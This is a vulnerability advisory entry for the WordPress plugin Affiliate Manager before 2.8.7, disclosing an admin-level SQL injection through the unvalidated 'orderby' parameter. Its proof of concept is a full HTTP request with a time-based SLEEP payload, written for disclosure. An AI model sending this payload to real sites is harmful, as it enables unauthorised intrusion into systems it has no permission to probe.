WordPress Plugin Vulnerabilities
Affiliate Manager < 2.8.7 - Admin+ SQL injection
Description
The plugin does not validate the orderby parameter before using it in an SQL statement in the admin dashboard, leading to an SQL Injection issue
Proof of Concept
POST /wp-admin/admin.php?page=wpam-affiliates&tab=export_data&orderby=if(&order=0,1,SLEEP(10)) HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 149 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 _wpnonce=5e236197e2&wpam-export-affiliates-to-csv=Export+to+CSV
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-10-11 (about 2 years ago)
Added
2021-10-11 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)